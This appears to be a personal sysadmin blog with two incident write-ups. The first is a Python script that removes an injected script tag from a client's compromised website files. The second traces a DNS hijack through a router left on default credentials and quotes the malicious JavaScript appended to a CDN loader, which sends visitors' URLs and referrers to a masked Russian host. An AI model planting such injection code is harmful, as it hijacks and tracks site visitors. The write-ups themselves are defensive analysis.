Random Musings of an Insane Mind

Have a client machine that is a little loaded that has a ton of modified files. Normally we just restore off the last backup or the previous generation backup, but, over 120k files since June 2011 have been exploited. Since the machine is doing quite a bit of work, we need to throttle our replacements so that we don’t kill the server.

#!/usr/bin/python
"""

Quick search and replace to replace an exploit on a client's site while
trying to keep the load disruption on the machine to a minimum.

Replace the variable exploit with the code to be replaced. By default, 
this script starts at the current directory. max_load controls our five
second sleep until the load drops.

"""

import glob
import os
import re
import time

path = '.'
max_load = 10

exploit = """
<script>var i,y,x="3cblahblahblah3e";y='';for(i=0;i
""".strip()

file_exclude = re.compile('\.(gif|jpe?g|swf|css|js|flv|wmv|mp3|mp4|pdf|ico|png|zip)$', \
                          re.IGNORECASE)

def check_load():
    load_avg = int(os.getloadavg()[0])
    while load_avg > max_load:
        time.sleep(30)
        load_avg = int(os.getloadavg()[0])

def getdir(path):
    check_load()
    for file in os.listdir(path):
        file_path = os.path.join(path,file)
        if os.path.isdir(file_path):
            getdir(file_path)
        else:
            if not file_exclude.search(file_path):
                process_file(file_path)

def process_file(file_path):
    file = open(file_path, 'r+')
    contents = file.read()
    if exploit in contents:
        print 'fixing:', file_path
        contents = contents.replace(exploit, '')
        file.truncate(0)
        file.seek(0, os.SEEK_SET )
        file.write(contents)
    file.close()

getdir(path)

Thankfully, since this server is run as www-data rather than SetUID, the damage wasn’t as bad as it could have been.

A few days ago a client had a window opened up in their browser with an Ip address and a query string parameter with his domain name. He asked me if his wordpress site had been hacked. I took a look through the files on the disk, dumped the database and did a grep, looked around the site using Chrome, Firefox and Safari and saw nothing. I even used Firefox to view generated source as sometimes scripts utilize the fact that JQuery is already loaded to load their extra payload through a template or addon.

Nothing. He runs a mac, his wife was having the same issue. I recalled the issue with the recent Adobe Flash plugin, but, he said something that was very confusing – our IPad’s do it too.

No Flash on IPad, can’t install most of the toolbar code on the IPad due to a fairly tight sandbox and the same behavior across multiple machines. Even machines that weren’t accessing his site were popping up windows/tabs in Safari.

I had him check his System Preferences, TCP/IP and the DNS settings and he read the numbers. The last one of 1.1.1.1 seemed odd, but, wouldn’t normally cause an issue since 1.0.0.0/8 isn’t routed. The other two DNS server IPs were read off and written down. Doing a reverse IP lookup resulted in a Not Found. Since he was on RoadRunner, I found that a bit odd, so, I did a whois and found out that both of the IP addresses listed as DNS were hosted in Russia.

Now we’re getting somewhere. The settings on his machine were grabbed from DHCP, so, that meant his router was probably set to use those servers. Sure enough, we logged in with the default username/password of admin/password, looked at the first page and there they were. We modified them to use google’s resolvers and changed the password on the router to something a little more secure.

We checked a few settings in the Linksys router and remote web access wasn’t enabled, so, the only way it could have happened is a Javascript exploit that logged into the router and made the changes. However, now the fun began. Trying to figure out what was actually intercepted. Since I had a source site that I knew caused issues, through some quick investigative work, we find a number of external URLs loaded on his site that might be common enough and small enough to be of interest. Since we know that particular scripts require jQuery, we can look at anything that calls something external in his source.

First thought was the Twitter sidebar, but, that calls Twitter directly which means all of that traffic would have to be proxied. Certainly wouldn’t want to do that when you have limited bandwidth. Feedburner seemed like a potential vector, but, probably very limited access and those were hrefs, so, they would have had to have been followed. The Feedburner widget wasn’t present. Bookmarklet.amplify.com seemed like a reasonable target, but, the DNS for it through the Russian DNS servers and other resolvers was the same. That isn’t to say that they couldn’t change it on a per request basis to balance for traffic, but, we’re going on the assumption it’ll be a fire and forget operation.

After looking through, statcounter could have been a suspect, but, again the DNS entries appeared to be the same, however, it does fit the criteria of a small javascript on a page that might have jquery.

However, the next entry appeared to be a good candidate. cdn.wibiya.com which requires jquery and loads a small javascript. DNS entries are different – though, we could attribute that to the fact it is a CDN, but, we get a CNAME from google’s resolvers, and an IN A record from the suspect DNS servers.

The Loader.js contains a tiny bit of extra code at the bottom containing:

var xxxxxx_html = '';
    xxxxxx_html += '<scr ' + 'ipt language="JavaSc' + 'ript" ';
    xxxxxx_html += 'src="http://xx' + 'xxxx.ru/js.php?id=36274';
    xxxxxx_html += '&dd=3&url=' + encodeURIComponent(document.location);
    xxxxxx_html += '&ref=' + encodeURIComponent(document.referrer);
    xxxxxx_html += '&rnd=' + Math.random() + '"></scr>';
    document.write(xxxxxx_html);

I did a few checks to see if I could find any other hostnames that they had filtered, but, wasn’t able to find anything with a quick glance. Oh, and these guys minified the javascript – even though wibiya didn’t. And no, the server hosting the content was in the USA, only the DNS server was outside the USA.

After years of reading about this type of attack, it is the first time I was able to witness it first-hand.